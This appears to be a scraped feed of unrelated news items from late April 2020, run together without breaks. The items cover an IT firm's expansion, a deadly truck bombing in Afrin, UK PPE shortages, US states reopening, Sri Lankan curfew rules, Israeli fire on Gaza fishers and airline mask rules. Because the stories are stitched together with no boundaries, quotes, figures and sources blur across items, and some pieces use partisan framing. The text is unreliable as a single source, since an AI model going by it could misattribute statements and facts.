other staff of All India Institute Of Medical Sciences, Ram Manohar Lohia Hospital, Safdarjung Hospital and Lady Hardinge Hospital. ONTARIO, Calif., April 28, 2020 /PRNewswire/ -- Trinity Networx, LLC, (https://www.trinitynetworx.com), a leading nationwide technology solution provider for small and medium businesses, opened new branch offices in Atlanta, GA, Boise, ID, and Boston, MA this month. The new locations allow Trinity Networx to expand its operations and establish a substantial local presence focused on offering its expertise to Atlanta, Boise, and Boston businesses. For over twelve years, Trinity Networx has been providing consistent, customer-oriented IT managed services. Trinity Networx' ability to implement, protect, diagnose, resolve, and maintain IT infrastructure that aligns with each individual business is the "secret sauce" to their continued success. Trinity Networx, LLC "The decision to expand our presence into Atlanta, Boise, and Boston was the next logical step after perfecting our service delivery model for our Southern California clients. Atlanta's, Boise's, and Boston's growing economy, coupled with our team's experience, solving technical problems, and forging relationships with the local business communities allows us to integrate them into our tribe," said Trinity Networx CEO, Lance Reichenberger. Trinity Networx' ability to seamlessly deploy and integrate their management tools into an existing environment enables them to quickly resolve issues and answer questions without stepping foot inside a client's door. The last month or so of mandatory quarantine showcased Trinity Networx' ability to accommodate and help pivot organizations to working remotely. Trinity Networx assisted over 500 client team members in securely operating and functioning from home, keeping the small and medium business community operational despite the world pandemic. Even though Trinity Networx excels at remote support, they are looking forward to meeting and integrating with business leaders in Atlanta, Boise, and Boston to provide a hybrid solution of remote and in-person interaction that will address all the client's technology issues. The Trinity Networx management team has over 60+ years of diverse IT. About Trinity Networx Trinity Networx is an Information Security and Technology (IT) services company specializing in small and medium businesses. We strive to identify your specific needs and then apply our expertise to optimize your company's IT infrastructure, security, compliance, data backup, disaster recovery, and business continuity. As part of our mission, we grind every day to become more than your IT vendor. With our robust experience and proven strategies, we share your interests and aim to become an integral part of your team. Contacts: Barry Cavener [email protected] 951-479-1727 SOURCE Trinity Networx, LLC Related Links https://www.trinitynetworx.com Death toll expected to rise after massive explosion in northern Syrian town controlled by Turkish forces. At least 46 civilians were killed, including 11 children, when an explosive-rigged fuel truck detonated in the northern Syrian town of Afrin, which was seized by Turkish forces more than two years ago. Another 50 people were wounded in the explosion in a crowded street of Afrin. Turkeys defence ministry blamed the attack on the Syrian-Kurdish YPG militia. Photos released by the Syrian Civil Defence rescue workers, also known as the White Helmets, showed firefighters battling to douse flames amid gutted buildings and rescue workers carrying charred bodies away from the scene on makeshift stretchers. A video showed black smoke billowing in the air while ambulance and police sirens wailed in the background. Tuesdays blast was one of the deadliest to hit a region under the control of Turkish-backed forces. Ankara frequently blames the YPG for the attacks, while the militia says it does not target civilians. The enemy of humanity PKK/YPG has once again targeted innocent civilians in Afrin, the Turkish ministry said on Twitter. The United States condemned the attack, which State Department spokeswoman Morgan Ortagus said claimed the lives of dozens of people shopping in the central market as they prepared to break the Ramadan fast. Initial reports indicate many victims were civilians, including children, she said in the statement, reiterating a US call for a nationwide ceasefire in Syria. Such cowardly acts of evil are unacceptable from any side in this conflict. Rami Abdul Rahman, head of the UK-based the Syrian Observatory for Human Rights, a monitor with a network of sources inside Syria, said at least 46 people had been killed and 50 wounded, some critically, adding the death toll could rise. At least six pro-Turkish Syrian fighters were among the dead, he added. Terrorist group There was no immediate claim of responsibility, but Turkey blamed the attack on the Kurdish Peoples Protection Units (YPG). Ankara accuses the YPG of being the Syrian offshoot of the outlawed Kurdistan Workers Party (PKK), which has waged an armed rebellion against Turkey since 1984. The PKK is considered a terrorist group by Ankara and many Western nations. The Kurdish-led Syrian Democratic Forces Council on Wednesday accused Turkey of allowing terrorist organisations to regroup and launch such attacks, a reference to the armed group ISIL (ISIS). Syrian Kurds have played a major role in fighting ISIL in Syria. We in the council condemn and denounce this cowardly terrorist act that targeted innocent civilians and threatens the remaining sons of Afrin to move and leave their villages and cities, the council said. Donate blood Syrian activists said the blast on Tuesday burned several people to death, including some who were stuck inside their vehicles. In a hospital yard, 10 charred bodies were covered with blankets next to ambulances. In an ambulance nearby, two charred bodies were inside, according to videos and photos circulated by activists. The blast set several cars and shops on fire and tanker trucks were used to fight the blaze. Amid fears the death toll could rise, activists in northern Syria urged people in the Afrin area to head to hospitals and donate blood. Similar explosions in areas controlled by Turkey-backed opposition fighters have killed many people in recent months, attacks that Ankara blames on Kurdish fighters. Turkeys military and its Syrian rebel allies seized Afrin, a mainly Kurdish district, from the YPG in March 2018 in a major offensive. Ankara supports the Syrian opposition in the war against President Bashar al-Assad, but has worked closely with his ally, Russia, to secure and monitor local ceasefires. The Syrian conflict has killed hundreds of thousands of people since 2011 and forced more than half of the countrys pre-war population from their homes. S ecuring more personal protective equipment was top of the agenda for the Prime Minister as he returned to work, his official spokesman said. Downing Street said that Boris Johnson used his first meeting of the Covid-19 war Cabinet since his recovery from coronavirus to focus on the need to secure PPE supplies. It comes amid considerable criticism over shortages of equipment needed to keep staff safe on the frontline as they care for patients. Earlier, Labour leader Sir Keir Starmer said too many frontline workers have died during the fight against coronavirus and we owe them a huge debt. The Government defended its record on PPE, following a critical BBC Panorama investigation, with the PMs spokesman saying we have been working to secure gowns and other PPE from across the globe and domestically for a number of months. Some 12 million items of PPE were delivered on Monday to 227 trusts and care settings, including gloves, aprons, three different types of masks, eye protectors and gowns. It comes after the nation fell silent for a minute on Tuesday morning to remember key workers who have lost their lives after being diagnosed with Covid-19. Coronavirus hits the UK - In pictures 1 /81 Coronavirus hits the UK - In pictures A deserted Westminster Bridge PA A man wearing a face mask or covering due to the COVID-19 pandemic, walks past customers sat outside a restaurant AFP via Getty Images Boris Johnson addresses the nation on the Coronavirus lockdown Andrew Parsons Runners pass cardboard cutouts of Britain's Queen Elizabeth II and Prince William during the London Marathon in London AP An empty escalator at Charing Coss London Underground tube station Jeremy Selwyn Electronic bilboards displays a message warning people to stay home in Sheffield PA A sign is displayed in the window of a student accommodation building following the outbreak of the coronavirus disease (COVID-19) in Mancheste Reuters People take part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions, in Londo AP People sing and dance in Leicester Square on the eve on the 10PM curfew Reuters Hearts painted by a team of artists from Upfest are seen in the grass at Queen Square, following the coronavirus disease (COVID-19) outbreak in Bristol Reuters Graffiti reads 'good luck and stay safe', as the number of coronavirus disease (COVID-19) cases grow around the world, under a bridge in London Reuters A sign is pictured in Soho, amid the outbreak of the coronavirus disease (COVID-19), in London Reuters Prime Minister Boris Johnson gestures, during a coronavirus briefing in Downing Street, London AP A person runs past posters with a message of hope, as the spread of the coronavirus disease (COVID-19) continues in Manchester REUTERS Riot police face protesters who took part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions in London AP An image of The Queen eith quotes from her broadcast to the UK and the Commonwealth in relation to the Coronavirus epidemic are displayed on lights in London's Piccadilly Circus PA Military vehicles cross Westminster Bridge after members of the 101 Logistic Brigade delivered a consignment of medical masks to St Thomas' hospital Getty Images Durdle Door in Dorset Reuters Captain Tom Moore via Reuters Mia, aged 8, and Jack, aged 5, take part in "PE with Joe" a daily live workout with Joe Wicks on Youtube to help kids stay fit who have to stay indoors due to the Coronavirus outbreak PA An NHS worker reacts at the Chelsea and Westminster Hospital during the Clap for our Carers campaign in support of the NHS Reuters Goats which have taken over the deserted streets of Llandudno @AndrewStuart via PA Tobias Weller PA Novikov restaurant in London with its shutters pulled down while the restaurant is closed London Landscapes: Hyde Park and the Serpentine, central London. Matt Writtle A newspaper vendor in Manchester city centre giving away free toilet rolls with every paper bought as shops run low on supplies due to fears over the spread of the coronavirus PA Theo Clay looks out of his window next to his hand-drawn picture of a rainbow in Liverpool, as the spread of coronavirus disease (COVID-19) continue Reuters A young man cuts another man's hair on top of a closed hairdresser in Oxford Reuters General view of the new NHS Nightingale Hospital, built to fight against the spread of the coronavirus disease (COVID-19), in London via Reuters Jason Baird is seen dressed as Spiderman during his daily exercise to cheer up local children in Stockport, as the spread of the coronavirus disease (COVID-19) continues Reuters A woman wearing a face mask walks past Buckingham Palace Getty Images A man holds mobile phone displaying a text message alert sent by the government warning that new rules are in force across the UK and people must stay at home PA Medical staff on the Covid-19 ward at the Neath Port Talbot Hospital, in Wales, as the health services continue their response to the coronavirus outbreak. PA Prime Minister Boris Johnson taking part in a virtual Cabinet meeting with his top team of ministers PA A shopper walks past empty shelves in a Lidl store on in Wallington. After spates of "panic buying" cleared supermarket shelves of items like toilet paper and cleaning products, stores across the UK have introduced limits on purchases during the COVID-19 pandemic. Some have also created special time slots for the elderly and other shoppers vulnerable to the new coronavirus. Getty Images People on a busy tube train in London at rush hour PA Mia, aged 8 and her brother Jack, aged 5 from Essex, continue their school work at home, after being sent home due to the coronavirus PA Children are painting 'Chase the rainbows' artwork and springing up in windows across the country Reuters Social distancing in Primrose Hill Jeremy Selwyn A general view of a locked gate at Anfield, Liverpool as The Premier League has been suspended PA Homeless people in London AFP via Getty Images A piece of art by the artist, known as the Rebel Bear has appeared on a wall on Bank Street in Glasgow. The new addition to Glasgow's street art is capturing the global Coronavirus crisis. The piece features a woman and a man pulling back to give each other a kiss PA The Queen leaves Buckingham Palace, London, for Windsor Castle to socially distance herself amid the coronavirus pandemic PA A general view on Grey street, Newcastle as coronavirus cases grow around the world Reuters Matt Raw, a British national who returned from the coronavirus-hit city of Wuhan in China, leaves quaratine at Arrowe Park Hospital on Merseyside PA Britain's Chief Medical Officer Professor Chris Whitty (L) and Chief Scientific Adviser Patrick Vallance look on as British Prime Minister Boris Johnson gestures as he speaks during a coronavirus disease (COVID-19) news conference inside 10 Downing Street Reuters The ticket-validation terminals at the tram stop on Edinburgh's Princes Street are cleaned following the coronavirus outbreak. PA Locked school gates at Rockcliffe First School in Whitley Bay, Tyne and Wear PA A sign at a Sainsbury's supermarket informs customers that limits have been set on a small number of products as the number of coronavirus (COVID-19) cases grow around the world Reuters Jawad Javed delivers coronavirus protection kits that he and his wife have put together to the vulnerable people of their community of Stenhousemuir, between Glasgow and Edinburgh AFP via Getty Images A sign advertising a book titled "How Will We Survive On Earth?" Getty Images A man who appears to be homeless sleeping wearing a mask today in Victoria Jeremy Selwyn A pedestrian walks past graffiti that reads "Diseases are in the City" in Edinburgh AFP via Getty Images Staff from The Lyric Theatre, London inform patrons, as it shuts its doors PA A quiet looking George IV Bridge in Edinburgh PA A quieter than usual British Museum Getty Images A racegoer attends Cheltenham in a fashionable face mask SplashNews.com A commuter wears a face mask at London Bridge Station Jeremy Selwyn A empty restaurant in the Bull Ring Shopping Centre Getty Images A deserted Trafalgar Square in London PA Passengers determined to avoid the coronavirus before leaving the UK arrive at Gatwick Airport Getty Images At least 82 NHS and 16 social care staff have died, Health Secretary Matt Hancock confirmed on Monday. Mr Hancock has been urged to issue a public apology over PPE shortages by the son of a doctor who died after warning the Government about a lack of the equipment. Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury, who died earlier this month after being diagnosed with Covid-19, challenged the Health Secretary during a live phone in on LBC. Five days before he was admitted to hospital, Dr Chowdhury, 53, wrote a Facebook post asking Mr Johnson to urgently provide every NHS worker with PPE. We took very, very seriously what your father said and weve been working around the clock to ensure that theres enough protective equipment and in the case of anybody who works in the NHS or in social care and has died from coronavirus we look into it in each case to find out the reasons where they might have caught it and what lessons we can learn, Mr Hancock said. Health Secretary Matt Hancock arrives at Downing Street on April 28 / Getty Images Mr Hancock said the Government has distributed more than a billion items of PPE. He was asked by host Nick Ferrari whether he accepted that mistakes were made in the provision of PPE. White House trade adviser Peter Navarro listens to a news conference about a presidential executive order relating to military veterans outside of the West Wing of the White House in Washington, on March 4, 2019. (Leah Millis/File Photo/Reuters) White House Adviser Navarro Lashes Out at China Over Fake Test Kits WASHINGTONWhite House trade adviser Peter Navarro on April 27 accused China of sending low-quality and even counterfeit CCP virus antibody testing kits to the United States and of profiteering from the pandemic. Navarro, an outspoken critic of Beijing who President Donald Trump has appointed to work on supply-line issues relating to the health crisis, said more testing both for the CCP (Chinese Communist Party) virus and antibodies was vital to getting Americans currently in lockdown back to work. Thats where, perhaps, we can find people who are immune, that can be in the workplace in a more safe environment. But we cant have China, for example, bringing in those fake tests and counterfeit tests, because thats going to be very disruptive, Navarro told Fox and Friends. A technician with a medical test kit in a lab at Sophonix, a company which produces test kits for medical use, in Beijing, China, on April 9, 2020. (Greg Baker/ AFP via Getty Images) Theres a lot of these antibody tests coming in from China now that are low quality, false readings and things like that. The United States is heavily reliant on China for basic equipment and drugs, and the two strategic and trade rivals have traded accusations during the outbreak. Navarro accused China, where the CCP virus is believed to have originated in the city of Wuhan, of spreading the CCP virus to the rest of the world after they hid it for six weeks. They could have contained it in Wuhan, he said. They didnt. They seeded the world with this, with hundreds of thousands of Chinese getting on aircraft to Milan, to New York and other places. China has rejected U.S. accusations, including from U.S. Secretary of State Mike Pompeo, that it covered up the outbreak. The United States has more than 970,000 cases and 55,000 deaths from COVID-19, the disease caused by the CCP virus. Medical personnels take medical samples of patients at a drive-thru CCP virus testing lab set up by local community centre in West Palm Beach 75 miles north of Miami, on March 16, 2020. (Chandan Khanna/AFP via Getty Images) On Saturday, Chinas commerce ministry said it was dropping a requirement that a number of key CCP virus care products get domestic regulatory approval before export, as long as they are approved in the importing countries. It had been stipulating extra approvals at home since the end of March after several European countries complained that Chinese-made test kits were inaccurate. On Monday, Navarro charged that during the time it delayed reporting, China vacuumed up the world for personal protective equipment needed by healthcare workers. And today Chinas profiteering basically from this situation, he added. A week ago, Navarro charged that China may be withholding data about early CCP virus infections because it wants to win the commercial race to create a vaccine. There are currently no approved treatments or vaccines for COVID-19. By David Brunnstrom. Epoch Times staff contributed to this report. Tables are marked off for social distancing at a restaurant in Nolensville, Tenn. (Associated Press) Despite a steady climb in the national death toll from coronavirus-related infections, several states on Monday began to ease stay-at-home orders for residents. Streams of patrons, eager to escape restrictions that have lasted for weeks, entered businesses in small towns and bustling cities in states from the Rocky Mountains to the South. In Colorado, retail businesses with curbside delivery were able to reopen. Hospitals also eased restrictions on elective surgeries. In Montana, where some residents of large metropolises have fled during the pandemic, retail businesses fully reopened but were required to adhere to strict social distancing guidelines. "We have among the lowest cases per capita, the lowest hospitalizations per capita, Montana Gov. Steve Bullock, a Democrat, said on social media, urging residents to remain vigilant and still practice social distancing. The state has seen roughly 450 confirmed cases of the virus and at least 14 deaths. The death toll from COVID-19 reached almost 56,000 in the United States on Monday, according to Johns Hopkins University. The reported U.S. death toll is the highest in the world. In a White House news briefing, President Trump said his administration would work with governors in the weeks ahead to support testing plans and rapid response programs. Limited testing has also caused concerns in some states as they reopen. The president said he had talked to governors and expected to see more school districts opening before the end of the calendar year. "I think you'll see a lot of schools open up ... I think it would be a good thing," Trump said, adding "young people seem to do very well" against the virus. In the South, which has seen high rates of infections, Tennessee allowed restaurants to reopen for dine-in or takeout. About 9,500 people have contracted the virus in the state, and at least 190 people have died. Last week, Gov. Bill Lee, a Republican, released his "Tennessee Pledge plan for reopening businesses in the states 95 counties, mandating social distancing and sanitizing protocols for restaurants to follow. Story continues "We are pursuing a careful, measured approach to reopening our economy that does not depend on heavy-handed mandates but instead provides practical tools for businesses of all sizes, Lee said in a statement. In recent days, Georgia lifted restrictions, allowing for businesses such as barbershops, gyms, movie theaters and bowling alleys to reopen. The state continues to see an increase in confirmed cases, at least 22,400, and about 900 deaths. A lack of quality healthcare, among other things, has led to high rates of death in black communities from Atlanta to Albany, Ga. Trump, after urging some states to liberate themselves during the pandemic, has said he does not support Republican Georgia Gov. Brian Kemps decision to reopen. Several mayors, including Atlanta Mayor Keisha Lance Bottoms, have assailed Kemps decision. On Monday, Kemp urged Georgians to join him in a day of prayer. "This virus has caused sickness, death and great loss in our state and as well as across the country, Kemp said from the state Capitol in Atlanta. We pray for those who have been lost and those they have left behind. Stay-at-home orders in several states Alabama, Arizona, Florida are set to expire later this week. Texas Gov. Greg Abbott, whose state has had 25,000 infections and 680 deaths, announced a stay-at-home order would be lifted on Thursday. Speaking to reporters on Monday, Abbott said the order "has done its job." Were not just going to open up and hope for the best, he said in a news conference. Opening Texas must occur in phases. The first phase begins Friday and will allow retail and restaurants to open at 25% capacity. Meanwhile, in New York, where on Sunday Gov. Andrew Cuomo outlined a phased approach to reopening the state, hospitals reported less of a strain on emergency rooms. Over the weekend, the death toll was below 400 something that had not occurred for several weeks. Still, the state has remained a hotbed of the coronavirus outbreak in the U.S., with 292,000 cases and nearly 17,300 deaths. On Monday, the state announced it would cancel its presidential primary scheduled for late June. Several states Kentucky, New Jersey, Ohio, to name a few have either delayed primaries or extended deadlines to vote by mail because of the coronavirus pandemic. "This has been a hellish experience for our country. But it has also been a time of cooperation, unity and love, Cuomo said Monday. Its not red state versus blue state. Its us together versus this virus. Arun M By Express News Service KOCHI: When discharged from Ernakulam General Hospital after the delivery of a baby girl, 30-year-old Hyrunnisa and her husband Mohammed, both hailing from Patna in Bihar, were clueless on where to go with their two girl children who are three and two years old, along with the toddler, during the lockdown. The only option left with them was to take shelter under the North Overbridge where they used to stay earlier and the poor family shifted to the place despite concerns about the safety of the girl children. Though the government provides food and essential groceries for migrants, the authorities were unaware of the plight of the poor family. However, now the parents can heave a sigh of relief as they have been shifted to an independent house, rented by a group of volunteers, on the Second Cross Road at Manappattiparambu near Kaloor in the city. From the face of Hyrunnisa, who is taking care of the children at the house, itself one can read the relief they are experiencing now. The elder children can now run around and play freely inside the two-room house while the toddler can sleep well on the cot along with the mother. Above all, they can stay without fear. The kind-hearted volunteers provided medicines and essential groceries for preparing food on their own. The destiny of the family changed when volunteers of Nanma Foundation noticed their plight while supplying food to the destitute and migrant workers in the streets a week ago. The volunteers were not ready to leave them in the street and Suhail Hashim, secretary of Nanma Foundation, shifted the family to a room in a building owned by him at Pulleppady. We could not leave them there after seeing the infant and small children living in such a pathetic state. Subsequently, we shifted them to Pulleppady and when we got an independent house, we shifted them to the new accommodation, said Suhail Hashim. The rent of the house and other expenses are borne by members of the foundation. The family arrived in the city one-and-a-half years ago for treatment of the elder girl. The doctors suggested surgery which costs lakhs of rupees. Hence they decided to stay here and do various jobs to find out the amount. Mohammed used to go for rag-picking and thereby earns a livelihood for the family. With the lockdown, he lost his income as he could not venture out, said Shaiju Jamal, a volunteer. YEREVAN, 28 APRIL, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 28 April, USD exchange rate up by 0.05 drams to 479.63 drams. EUR exchange rate up by 1.54 drams to 521.74 drams. Russian Ruble exchange rate up by 0.04 drams to 6.49 drams. GBP exchange rate up by 2.90 drams to 599.11 drams. The Central Bank has set the following prices for precious metals. Gold price down by 11.89 drams to 26445.32 drams. Silver price down by 1.67 drams to 234.47 drams. Platinum price up by 16.64 drams to 11781.23 drams. Sri Lanka: Announces regulations to maintain normalcy in civilian life during curfew period April 28,2020 | Source: Colombo Page The ongoing curfew in the districts of Colombo, Gampaha, Kalutara and Puttalam will remain in force till 5.00am on Monday, May 04th, Presidents Media Division announced. In all other districts, curfew will be lifted at 5.00am on Monday, the 27th April and will be re-imposed at 8.00pm on the same day. In these districts, curfew will be effective from 8.00 pm to 5.00am till Friday, the 01st May. In order to resume work at both public and private sector entities in the districts of Colombo, Gampaha, Kalutara and Puttalam from 4th May, even when curfew is in force, relevant regulations will be relaxed. State organizations including Departments, Corporations and Boards as well as factories, construction enterprises, offices, vegetable and fish stalls and retail outlets belonging to the private sector are permitted to function. The private sector entities should open for work at 10.00am daily. During the next week, heads of the both state and private sector organizations should plan out their operations to be carried out from May 4th onwards. Only 1/3rd of the total workforce of each state organization such as Departments, Corporations and Boards are required to report for work. The head of each organization should ensure that only the minimum required number of employees are called for work irrespective of the essentiality of the service it provides. All the employees of the state sector entities who are not required to report for work in office should work from their homes. The responsibility to decide who should come to office and who should work from home lies with head of the each organization. The Head has the freedom to select a different set of employees each day. As a measure to prevent the spread of the Coronavirus the public should stop unnecessarily coming to roads and gathering at various other places. Buses belonging to Sri Lanka Transport Board and railway carriages can only transport employees who are reporting for work. Civilians except those who are essentially required to report to work should remain in their homes. People are allowed to leave their homes only to purchase essential items such as food and medicines. They should select the closest outlet located within walking distance from their homes to make such purchases. Even for essential purposes people will be allowed to leave their places of dwelling based on the last digit of their National Identity Cards. (Photo : REUTERS/Russell Cheyne) A man walks past a message of support to the NHS, following the outbreak of the coronavirus disease (COVID-19), Glasgow, Britain, April 28, 2020. Aside from the coronavirus, health experts worry that cases of sexually transmitted infection (STI) may surge as clinics remain close during the pandemic. The National Health Service (NHS) has deployed staff of STI clinics and cervical screenings to help with the fight against the COVID-19 crisis, which halts the testing and treatment for STI. READ ALSO: Coronavirus Cure Possibly Found By Vaccine Created From Insects; Experts Are Debating As When The Cure Comes This concerns experts who warn that "a massive STI problem" may arise after the crisis. "For men and women who are infected, there is no doubt that services have been reduced. It is easier to get treatment in some parts of the country than others," Dr. Sarah Jarvis, GP and Clinical Director of Patientaccess.com told Sun Online. Jarvis also said this could cause delays that lead to serious health problems, especially for conditions like chlamydia. Tracey Forsyth, the lead contraceptive nurse at British Pregnancy Advisory Service, has said in a report in The Independent how women are having difficulty accessing sexual health services. "It is very difficult to access contraception, sexual health, and have smears at the moment. There were lots of cuts to services before this," said Ms. Forsyth, adding that it is likely to have a massive STI problem at the end of Covid-19. Common STIs include Chlamydia HPV, Gonorrhea, Herpes, and Syphilis. Women are concerned about not being able to get smear tests to know early signs of cell changes in the cervix that can turn into cancer. Forsyth also added that people who have chlamydia and gonorrhea and those they have had sex with should be treated. Another health crisis Meanwhile, Kate Sanger, the spokesperson Jo's Cervical Cancer Trust, said NHS England had advised them to continue offering cervical screenings. "Provision is patchy. While there are some women who will want to go, some won't be able to go because they are self-isolating," said Sanger. This is why sexual health charities have urged the government to tackle the rising number of STIs in the United Kingdom during the coronavirus outbreak. The Terrence Higgins Trust and British Association for Sexual Health & HIV (BASHH) report released in February drew attention to the "unacceptably high" STI rates. In 2018, there were 447,694 new diagnoses of STIs, which is a 5% increase from the previous year. Meanwhile, Dr. John McSorley, BASHH President, says they have seen a reduction in STI cases in clinics during the lockdown. "The overwhelming majority of the U.K. population have done everything they can to save lives and protect the NHS by staying at home," Sorley told The Sun Online. Last month, there was a reduction in sexually transmitted infections diagnosed in clinics, although this may be due to the inability to test. However, as the lockdown relaxes, the U.K. population's sexual behavior can return to normal, and the government should fully support ongoing open access to excellent sexual health services in the U.K. "A happy healthy and fulfilling sex life is a really important cheap and cheerful way of putting a smile back on everyone's face as summer approaches," said Sorley While the clinics are still closed, people can have themselves checked using NHS says self-test kits for STIs that are available online. However, it is important to be cautious of the claims they make. Also, make sure the kit is sealed, without any damage to the packaging, and is within its expiry date before using one. READ ALSO: Study Reveals People With Positive Antibody Tests May Still Contract Coronavirus 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Post-coronavirus, no letup in Israeli attacks on Gaza fishers by Tamara Nassar April 28,2020 | Source: The Electronic Intifada The coronavirus pandemic has derailed a lot of activities, but not Israels attacks on Palestinian fishers. Israeli warships have increased their assaults in recent months, causing injuries to fishers and damage to boats. Last week, Israeli warships chased and opened fire towards a fishing boat sailing approximately four nautical miles off the northern Gaza town of Beit Lahiya, eyewitnesses told the human rights group Al Mezan. Soldiers shot Ziad Fahd Baker, 25, in the head using a rubber-coated steel bullet. He was moderately injured and the boat and its engine which belonged to his father were damaged by Israeli live bullets. Al Mezan recorded 92 violations against Gaza fishers since the beginning of 2020. All were instances of Israeli forces opening fire towards fishers and their boats, causing six injuries. Israel also arrested three fishers, including a child, damaged seven boats and gear, and seized one boat. Earlier this month, Israeli gunboats chased and opened fire on another fishing boat sailing four miles from the shore. Ahmad Ahmad Hasan Zidan, 29, was not injured, but his boats engine was damaged by Israeli bullets. The Palestinian Center for Human Rights said these attacks occurred in Gazas territorial waters when the fishers posed no threat to Israeli forces. Israel typically allows fishers to sail up to six nautical miles off the Gaza shore. Most violations committed by Israeli forces against Palestinian fishers are done in areas where the latter are permitted to fish. Israels ongoing attacks on fishers are collective punishment, which is illegal under international law, Al Mezan stated. Meanwhile, April marks the beginning of the sardine fishing season in Gaza. Combined with Ramadan and the COVID-19 pandemic, this is a particularly important and difficult time for Gazas fishers. Sardines historically make up 60 percent of the total fish catch and form the bulk of the income of Gazan fishermen, OCHA, the United Nations humanitarian coordination agency, has previously reported. Sardines are not typically found near Gazas coast, but because of Israels naval blockade on the territory, fishers miss out on catches that are further out. As a result, the sardine catch has diminished by more than half since Israel imposed its siege on the Strip, now in its 13th year. On 16 April, an Israeli military unit threatened to shoot and confiscate the boats of fishers who approach an Israeli-declared sterile area on the northern coast, the Israeli rights group Gisha said. Gazas northern waters are rich with sardines and other types of fish that are especially prized during Ramadan, when demand increases. Due to Israels arbitrary restrictions, Gazas fishers are forced to sail near the shore. Those areas are contaminated with large amounts of untreated sewage pumped into the Mediterranean Sea, due to Gazas degraded waste treatment infrastructure. Last year, Israel shot at fishers 347 times, causing 16 injuries. Israels relentless assaults on Gazas fishing industry have caused a severe decline in a crucial sector of the economy. The number of people working in the industry fell from 10,000 in the year 2000 to about 3,500 today, according to Gisha. Israels attacks on fishers further hamper Gazans access to good nutrition. Despite the humanitarian crisis and sky-high unemployment and poverty all rooted in the siege Israel has not eased its suffocation of the two million Palestinians in Gaza, even in the face of the pandemic. There have been 17 confirmed cases of the new coronavirus in the Gaza Strip. Targeting the fishing sector amid the implementation of the COVID-19 safety measures, which have curbed life in Gaza and confined breadwinners to their houses, means increasing these vulnerabilities among the fishing community and for families throughout Gaza, Al Mezan stated. Gazas extremely vulnerable population faces the threat of a catastrophic coronavirus outbreak against the backdrop of an Israeli blockade that has, according to the UN, rendered the territory unlivable. Israel, as the occupying power, remains responsible for the health and welfare of Palestinians in Gaza. Yet Israel has no plan to prevent an outbreak there of COVID-19. The disastrous consequences of such an outbreak would fall squarely on Israels shoulders. 2000-2020 electronicIntifada.net Theme(s): Others. Panaji, April 28 (IANS) Goa Governor Satya Pal Malik here on Tuesday urged Union Home Ministry Amit Shah to pursue resumption of the mining in the state. Image Source: IANS Panaji, April 28 : Goa Governor Satya Pal Malik here on Tuesday urged Union Home Ministry Amit Shah to pursue resumption of the mining in the state. In wake of the collapse of the tourism industry due to the Covid-19 pandemic, it was imperative to ressurect the mining sector at the earliest, he said. "Pursuant to the apex court order, dated February 7, 2018, the mining in the state came to a halt, which caused around Rs 2,000 crore loss of revenue. More than 1.5 lakh people, who were directly or indirectly dependent on mining, lost their source of livelihood," Malik said in a letter to Shah. The Covid-19 outbreak had severely dented the other mainstay of Goan economy -- tourism industry -- bringing the state economy to a near collapse, he wrote urging Shah's intervention. The mining issue has been hanging fire since the apex court banned extraction and transport of iron ore from 88 mining leases in February 2018, but also directed the state government to reissue leases. The is the second time is less than a decade that mining in the state has come to a standstill. The central government, last year, had formed a Group of Ministers under Shah to resolve the mining deadlock, but it has failed to make much headway as far as resumption of the industry is concerned. Chief Minister Pramod Sawant also said last week he was in touch with the BJP central leadership as well as the Prime Minister's Office to revive mining in the state. By Hugo Martin, Los Angeles Times As the COVID-19 pandemic decimates demand for air travel, U.S. carriers have taken several unprecedented steps to increase onboard safety. The latest: urging passengers to wear face masks. The world's largest carrier, American Airlines, said Monday that passengers will be handed a mask and hand sanitizer when boarding some flights, starting in early May. Travelers will be urged to follow Centers for Disease Control and Prevention guidelines to wear a face mask, but the airline won't require masks onboard. "We are looking out for our customers' well-being to give them peace of mind while they travel with us," Kurt Stache, American Airlines' senior vice president of customer experience, said in a statement. The program will be expanded to all flights based on the supply of masks and sanitizer, airline representatives said. JetBlue went further, announcing Monday that all passengers will be required to wear face coverings during travel. "Wearing a face covering isn't about protecting yourself; it's about protecting those around you," said Joanna Geraghty, JetBlue's president and chief operating officer. "This is the new flying etiquette. Onboard, cabin air is well circulated and cleaned through filters every few minutes, but this is a shared space where we have to be considerate of others." American, JetBlue, United, Delta and Frontier airlines have all begun requiring flight attendants to wear masks while performing their duties in the air. Some airlines are requiring masks for all employees who can't keep six feet away from other workers and passengers. Atlanta-based Delta Air Lines is employing some maintenance technicians, normally paid to maintain planes, to assemble cloth safety masks for Delta workers, with a goal of making 2,500 masks a week. Some of the material for the masks will come from discontinued T-shirts from Delta's uniforms. The changes come only a few days after the Association of Flight Attendants wrote to U.S. Transportation Secretary Elaine Chao and Health and Human Services Secretary Alex Azar, requesting that masks be mandated for flight crew, airline employees and passengers. The union represents about 50,000 flight attendants from more than 20 airlines. In response to that request, Chao suggested on Fox News last week that she would leave it up to the individual airlines to decide if masks for employees or passengers should be required. "We are encouraging the unions and the management of the airlines to talk to one another, and we are also participating in bring(ing) them together and talking about these issues," she said. The Federal Aviation Administration on April 17 released a "health and safety guidance" memo that encouraged airlines to complete a safety risk assessment on the procedures for the use of "face coverings as they may affect the donning of oxygen masks." Chao noted that spacing between passengers is less challenging today, since only about 4% of seats on U.S. carriers are filled. The outbreak of the coronavirus has forced 44% of the nation's airline fleet to be grounded, according to Airlines for America, a trade group for the nation's carriers. The group estimates that domestic flights are carrying an average of 10 passengers, while international flights are carrying an average of 24. Among other changes proposed by airlines to help increase the distance between passengers, Delta, United, Alaska and Spirit said they are no longer booking the middle seats in most sections of their planes. Several airlines have also eliminated or reduced the food and drink services offered on most flights to help slow the spread of the virus. As demand for air travel drops, several airlines are trying to generate revenue by transporting cargo in the belly of their planes, even when the cabins are empty of passengers. Delta won approval from the FAA last week to stuff cargo in the overhead bins of some wide-body jets. MORE CORONAVIRUS COVERAGE PPP round two: Small business relief funds reopen, off to glitchy start Cuomo briefing: Help for Upstate dairy farmers, new drive-thru testing sites Beyond Tenders: Tullys, Terrells launch new CNY potato chip flavor Coronavirus expected to reduce meat selection, raise prices Gas prices in Syracuse fall below $2; heres where to find the 10 cheapest Of the 28 proposals submitted, the jury which included a retired LACMA curator selected six as the leading ideas. The winning studios will each receive $1,500 prizes. Nan Goldin declined to say who is funding the competition: Its the same 